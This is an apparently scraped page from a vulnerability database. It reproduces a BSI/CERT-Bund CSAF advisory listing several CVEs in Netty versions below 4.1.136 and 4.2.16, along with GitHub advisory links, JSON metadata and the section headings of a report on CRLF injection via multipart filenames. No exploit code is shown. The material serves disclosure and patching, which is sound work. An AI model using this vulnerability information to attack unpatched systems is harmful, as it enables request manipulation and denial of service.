
Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-59898

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-59899

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-59900

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-59901

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-59920

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

CVE-2026-59921

Affected products

Known affected 2 products

Product	Identifier	Version	Remediation
Open Source Netty <4.1.136 Open Source / Netty		<4.1.136
Open Source Netty <4.2.16 Open Source / Netty		<4.2.16

References

19 references

URL	Category
https://wid.cert-bund.de/.well-known/csaf/white/2…	self
https://wid.cert-bund.de/portal/wid/securityadvis…	self
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external
https://github.com/netty/netty/security/advisorie…	external

JSON

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{
  "document": {
    "aggregate_severity": {
      "text": "hoch"
    },
    "category": "csaf_base",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "de-DE",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
      },
      {
        "category": "description",
        "text": "Netty ist ein asynchrones, ereignisgesteuertes Netzwerk-Anwendungs-Framework f\u00fcr die schnelle Entwicklung von wartbaren, hochleistungsf\u00e4higen Protokollservern und -clients.",
        "title": "Produktbeschreibung"
      },
      {
        "category": "summary",
        "text": "Ein Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitspr\u00fcfungen zu umgehen, Anfragen oder Header zu manipulieren, Zertifikatspr\u00fcfungen zu unterlaufen sowie einen Denial of Service zu verursachen.",
        "title": "Angriff"
      },
      {
        "category": "general",
        "text": "- Linux\n- UNIX",
        "title": "Betroffene Betriebssysteme"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "csaf-provider@cert-bund.de",
      "name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
      "namespace": "https://www.bsi.bund.de"
    },
    "references": [
      {
        "category": "self",
        "summary": "WID-SEC-W-2026-2356 - CSAF Version",
        "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-2356.json"
      },
      {
        "category": "self",
        "summary": "WID-SEC-2026-2356 - Portal Version",
        "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2356"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-4qhr-g3c6-fcfx vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-4qhr-g3c6-fcfx"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-272m-gcwp-mpwg vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-272m-gcwp-mpwg"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-3g8r-4pfx-jmfh vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-4mp9-239f-g9hg vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-4mp9-239f-g9hg"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-q4f6-jm68-57ww vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-q4f6-jm68-57ww"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-c69g-56f8-xwqj vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-c69g-56f8-xwqj"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-558v-64gr-wgg4 vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-558v-64gr-wgg4"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-6jqx-86gh-f27w vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-6jqx-86gh-f27w"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-93wv-jw9v-4972 vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-93wv-jw9v-4972"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-g7hg-vrcf-mvmr vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-g7hg-vrcf-mvmr"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-gcjf-9mgh-3p7g vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-hpcc-26xq-25fv vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-jppx-w49h-x2qq vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-jppx-w49h-x2qq"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-mvh2-crg5-v77c vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-mvh2-crg5-v77c"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-q6cq-mhr2-jmr5 vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-q6cq-mhr2-jmr5"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-vhch-2wf3-m8rp vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-vhch-2wf3-m8rp"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-wc96-39fc-566f vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-wc96-39fc-566f"
      }
    ],
    "source_lang": "en-US",
    "title": "Netty: Mehrere Schwachstellen",
    "tracking": {
      "current_release_date": "2026-07-21T22:00:00.000+00:00",
      "generator": {
        "date": "2026-07-22T09:20:42.612+00:00",
        "engine": {
          "name": "BSI-WID",
          "version": "1.6.0"
        }
      },
      "id": "WID-SEC-W-2026-2356",
      "initial_release_date": "2026-07-14T22:00:00.000+00:00",
      "revision_history": [
        {
          "date": "2026-07-14T22:00:00.000+00:00",
          "number": "1",
          "summary": "Initiale Fassung"
        },
        {
          "date": "2026-07-19T22:00:00.000+00:00",
          "number": "2",
          "summary": "Referenz(en) aufgenommen: EUVD-2026-45316"
        },
        {
          "date": "2026-07-20T22:00:00.000+00:00",
          "number": "3",
          "summary": "Referenz(en) aufgenommen: EUVD-2026-46133, EUVD-2026-46132"
        },
        {
          "date": "2026-07-21T22:00:00.000+00:00",
          "number": "4",
          "summary": "Referenz(en) aufgenommen: EUVD-2026-46452, EUVD-2026-46438, EUVD-2026-47564, EUVD-2026-47579, EUVD-2026-47582, EUVD-2026-47581"
        }
      ],
      "status": "final",
      "version": "4"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003c4.2.16",
                "product": {
                  "name": "Open Source Netty \u003c4.2.16",
                  "product_id": "T056598"
                }
              },
              {
                "category": "product_version",
                "name": "4.2.16",
                "product": {
                  "name": "Open Source Netty 4.2.16",
                  "product_id": "T056598-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:netty:netty:4.2.16"
                  }
                }
              },
              {
                "category": "product_version_range",
                "name": "\u003c4.1.136",
                "product": {
                  "name": "Open Source Netty \u003c4.1.136",
                  "product_id": "T056599"
                }
              },
              {
                "category": "product_version",
                "name": "4.1.136",
                "product": {
                  "name": "Open Source Netty 4.1.136",
                  "product_id": "T056599-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:netty:netty:4.1.136"
                  }
                }
              }
            ],
            "category": "product_name",
            "name": "Netty"
          }
        ],
        "category": "vendor",
        "name": "Open Source"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-44891",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-44891"
    },
    {
      "cve": "CVE-2026-55831",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-55831"
    },
    {
      "cve": "CVE-2026-55833",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-55833"
    },
    {
      "cve": "CVE-2026-55851",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-55851"
    },
    {
      "cve": "CVE-2026-56745",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56745"
    },
    {
      "cve": "CVE-2026-56816",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56816"
    },
    {
      "cve": "CVE-2026-56817",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56817"
    },
    {
      "cve": "CVE-2026-56819",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56819"
    },
    {
      "cve": "CVE-2026-56820",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56820"
    },
    {
      "cve": "CVE-2026-56821",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56821"
    },
    {
      "cve": "CVE-2026-56822",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56822"
    },
    {
      "cve": "CVE-2026-59898",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59898"
    },
    {
      "cve": "CVE-2026-59899",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59899"
    },
    {
      "cve": "CVE-2026-59900",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59900"
    },
    {
      "cve": "CVE-2026-59901",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59901"
    },
    {
      "cve": "CVE-2026-59920",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59920"
    },
    {
      "cve": "CVE-2026-59921",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59921"
    }
  ]
}

Find a vulnerability

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Related vulnerabilities

GHSA-GCJF-9MGH-3P7G

Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

1. Vulnerability Summary

2. Affected Components

3. Vulnerability Description

Root Cause

Comparison with Similar Fixed CVEs

4. Exploitability Prerequisites

5. Attack Scenarios

Scenario 1: Content-Type Override via Filename Injection

Scenario 2: Arbitrary MIME Header Injection

Scenario 3: Multipart Boundary Confusion

6. Proof of Concept

Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)

How to Compile and Run

PoC Execution Output (Verified on Netty 4.2.12.Final)

7. Impact Analysis

8. Remediation Recommendations

Option 1: Validate in FileUpload.setFilename() (Recommended)

Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)

Option 3: RFC 2231/5987 Encoding for Filenames

9. References

WID-SEC-W-2026-2356

Search criteria ⓘ Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.